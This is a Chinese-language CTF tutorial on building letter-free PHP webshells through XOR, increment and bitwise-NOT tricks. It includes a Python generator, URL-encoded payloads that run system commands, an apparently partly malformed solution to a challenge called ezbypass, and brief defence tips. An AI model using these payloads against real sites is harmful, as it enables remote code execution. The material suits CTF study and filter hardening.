从CTF中学习自增构造webshell
字数 796 2025-08-19 12:42:02
从CTF中学习自增构造WebShell技术详解
一、异或运算构造WebShell
基本原理
- 利用PHP中字符异或运算特性:两个字符进行异或运算可以得到新字符
- 示例:
'A'^'?'结果为~- A的ASCII码为65 (二进制: 1000001)
- ?的ASCII码为63 (二进制: 0111111)
- 异或结果: 1111110 (即~)
构造步骤
- 寻找未被过滤的字符:通过遍历ASCII码(0-255)并过滤掉数字和字母
- 构造目标字符串:如"system"
- 匹配字符对:找到两个未被过滤的字符,其异或结果等于目标字符
- URL编码处理:对生成的不可见字符进行URL编码
Python实现代码
import re
import urllib.request
a = []
ans1 = ""
ans2 = ""
# 获取未被过滤的字符(非数字字母)
for i in range(0,256):
c = chr(i)
tmp = re.match(r'[0-9]|[a-z]', c, re.I)
if(tmp): continue
else: a.append(i)
# 构造目标函数名和参数
mya = "system" # 目标函数名
myb = "dir" # 参数
def myfun(k, my):
global ans1, ans2
for i in range(0, len(a)):
for j in range(i, len(a)):
if(a[i]^a[j] == ord(my[k])):
ans1 += chr(a[i])
ans2 += chr(a[j])
return
# 构造函数名部分
for x in range(0, len(mya)):
myfun(x, mya)
data1 = "('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')"
# 构造参数部分
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)
data2 = "(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data1 + data2)
二、自增构造WebShell
基本原理
- 利用PHP的自增运算符
++从已知字符生成其他字符 - 示例:从"A"开始自增可得到后续字母
构造步骤
- 初始化变量为数组:
$_=[]; - 转换为字符串:
$_=''.$_;(得到"A") - 通过自增获取后续字符:
$_++; // B $_++; // C $_++; // D // ... - 组合字符构造"GET":
$__ = $_; // 保存当前字符 $_++; $_++; $_++; // 继续自增 $___ = $_; // 保存新字符 // 组合成"GET" $_ = $___.$__.$_; $_ = '_'.$_; // 得到"_GET"
最终Payload
URL编码后的形式:
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
三、取反构造WebShell
基本原理
- 利用两次取反(~)得到原字符的特性
- 通过URL编码不可见字符绕过过滤
PHP实现代码
<?php
$ans1 = 'system'; // 函数名
$ans2 = 'dir'; // 命令
$data1 = ('~'.urlencode(~$ans1)); // 第一次取反并编码
$data2 = ('~'.urlencode(~$ans2)); // 第一次取反并编码
echo ('('.$data1.')('.$data2.')'); // 输出: (~%8C%86%8C%8B%9A%92)(~%9A%89%9E)
最终Payload
(~%8C%86%8C%8B%9A%92)(~%9A%89%9E)
四、实战案例:青少年CTF之ezbypass
题目限制
- 代码长度 ≤ 105字节
- 必须是字符串
- 不能包含字母、数字和@符号
构造Payload
code=ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$ff;system&__=cat /f*
技术要点
- 使用自增构造变量名
- 通过短变量名减少长度
- 利用URL编码绕过字符限制
五、防御措施
- 输入过滤:严格过滤特殊字符和运算符
- 禁用危险函数:如
eval()、system()等 - 长度限制:限制输入长度防止复杂payload
- 字符集限制:只允许特定字符集
- WAF防护:部署Web应用防火墙检测异常请求
以上技术仅用于CTF比赛和安全研究,请勿用于非法用途。